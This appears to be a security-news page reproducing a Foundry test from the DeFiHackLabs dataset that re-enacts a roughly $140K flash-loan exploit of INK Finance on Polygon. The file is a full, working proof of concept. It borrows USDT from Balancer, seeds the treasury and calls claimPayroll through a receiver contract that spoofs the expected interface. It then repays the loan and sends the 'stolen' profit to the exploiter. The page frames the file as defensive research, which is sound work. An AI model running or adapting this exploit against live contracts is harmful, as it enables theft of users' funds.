Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/INKFinance_exp.sol

Public reproduction file for dataset entry INKFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/INKFinance_exp.sol118 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {IERC20} from "forge-std/interfaces/IERC20.sol";
7// @KeyInfo - Total Lost : ~$140K
8// Attacker : https://polygonscan.com/address/0x90b147592191388e955401af43842e19faa87ee2
9// Attack Contract : https://polygonscan.com/address/0x74f28b9A35D72504E007C60803eF47f1A44b109e
10// Vulnerable Contract : https://polygonscan.com/address/0xeF2C77f3B9b8aaa067239bc6B4588Bae26433494
11// Attack Tx : https://polygonscan.com/tx/0xb469a24ec737be16fe41367a7b5b315c7f03b4e0ff3af50b3a2db03b3066b982
12//
13// @Info
14// Vulnerable Contract Code : https://polygonscan.com/address/0xeF2C77f3B9b8aaa067239bc6B4588Bae26433494#code
15//
16// @Analysis
17// Post-mortem : N/A
18// Hacking God : https://www.cryptotimes.io/2026/05/11/ink-finance-exploited-on-polygon-140k-usdt-drained-in-flash-loan-attack/
20contract INKFinanceTest is Test {
21 bytes32 internal constant TX_HASH = 0xb469a24ec737be16fe41367a7b5b315c7f03b4e0ff3af50b3a2db03b3066b982;
22 address internal constant EXPLOITER = 0x90b147592191388e955401af43842e19faa87ee2;
23 address internal constant EXPLOIT_CONTRACT = 0x74f28b9A35D72504E007C60803eF47f1A44b109e;
24 address internal constant FLASH_LOAN_RECEIVER = 0xD7C643517F98F58D3F9BA91De05d4f62620cFd10;
25 address internal constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
26 address internal constant TREASURY = 0xa184Af4B1c01815A4B57422A3419E4FB78a96Ee4;
27 uint256 internal constant FLASH_LOAN_AMOUNT = 24_982_654_321;
28 IERC20 internal constant USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
30 function setUp() public {
31 vm.createSelectFork("polygon", TX_HASH);
33 INKFinanceFlashLoanReceiver receiver = new INKFinanceFlashLoanReceiver(EXPLOITER);
34 vm.etch(FLASH_LOAN_RECEIVER, address(receiver).code);
36 vm.label(EXPLOITER, "Sender");
37 vm.label(EXPLOIT_CONTRACT, "Receiver");
38 vm.label(FLASH_LOAN_RECEIVER, "INK Flash Loan Receiver");
39 vm.label(BALANCER_VAULT, "Vault");
40 vm.label(address(USDT), "USDT0");
41 }
43 function testExploit() public {
44 uint256 beforeUsdt = USDT.balanceOf(EXPLOITER);
46 assertEq(vm.getNonce(EXPLOITER), 0, "unexpected deployer nonce");
48 address[] memory tokens = new address[](1);
49 tokens[0] = address(USDT);
51 uint256[] memory amounts = new uint256[](1);
52 amounts[0] = FLASH_LOAN_AMOUNT;
54 vm.prank(EXPLOITER, EXPLOITER);
55 IINKBalancerVault(BALANCER_VAULT).flashLoan(FLASH_LOAN_RECEIVER, tokens, amounts, "");
57 uint256 usdtProfit = USDT.balanceOf(EXPLOITER) - beforeUsdt;
58 assertGt(FLASH_LOAN_RECEIVER.code.length, 0, "receiver was not installed");
59 assertEq(USDT.balanceOf(BALANCER_VAULT), 25_851_883_528, "flash loan not repaid");
60 assertEq(USDT.balanceOf(TREASURY), 0, "treasury balance mismatch");
61 assertEq(usdtProfit, 140_180_175_562);
63 console.log("Stolen USDT", usdtProfit);
64 }
67contract INKFinanceFlashLoanReceiver {
68 address internal constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
69 address internal constant PAYROLL = 0xeF2C77f3B9b8aaa067239bc6B4588Bae26433494;
70 address internal constant TREASURY = 0xa184Af4B1c01815A4B57422A3419E4FB78a96Ee4;
71 IERC20 internal constant USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
72 uint256 internal constant EMPLOYEE_ID = 3;
73 bytes4 internal constant PAYROLL_RECEIVER_INTERFACE_ID = 0xf3384444;
75 address internal immutable EXPLOITER;
77 constructor(address exploiter) {
78 EXPLOITER = exploiter;
79 }
81 function receiveFlashLoan(
82 IERC20[] calldata tokens,
83 uint256[] calldata amounts,
84 uint256[] calldata feeAmounts,
85 bytes calldata userData
86 ) external {
87 userData;
88 require(msg.sender == BALANCER_VAULT, "unexpected vault");
89 require(tokens.length == 1 && address(tokens[0]) == address(USDT), "unexpected token");
90 require(feeAmounts.length == 1 && feeAmounts[0] == 0, "unexpected fee");
92 require(USDT.transfer(TREASURY, amounts[0]), "seed treasury failed");
93 IINKPayroll(PAYROLL).claimPayroll(EMPLOYEE_ID);
94 require(USDT.transfer(BALANCER_VAULT, amounts[0]), "repay failed");
95 require(USDT.transfer(EXPLOITER, USDT.balanceOf(address(this))), "sweep failed");
96 }
98 function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
99 return interfaceId == PAYROLL_RECEIVER_INTERFACE_ID || interfaceId == type(IERC165).interfaceId;
100 }
103interface IINKBalancerVault {
104 function flashLoan(
105 address recipient,
106 address[] calldata tokens,
107 uint256[] calldata amounts,
108 bytes calldata userData
109 ) external;
112interface IINKPayroll {
113 function claimPayroll(uint256 employeeId) external;
116interface IERC165 {
117 function supportsInterface(bytes4 interfaceId) external view returns (bool);

Analysis

Dataset entry

Public Foundry test for “INKFinance” (2026-05-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x90b147592191388e955401af43842e19faa87ee2

  • Attack Contract

    0x74f28b9a35d72504e007c60803ef47f1a44b109e

  • Vulnerable Contract

    0xef2c77f3b9b8aaa067239bc6b4588bae26433494

  • Attack Tx

    0xb469a24ec737be16fe41367a7b5b315c7f03b4e0ff3af50b3a2db03b3066b982

File record

Name
INKFinance
Path
src/test/2026-05/INKFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8eed26f16b73771306403d084cf3844a741a8445
Language
Solidity
Size
118 lines
Date
2026-05-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/INKFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8eed26f16b73771306403d084cf3844a741a8445, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.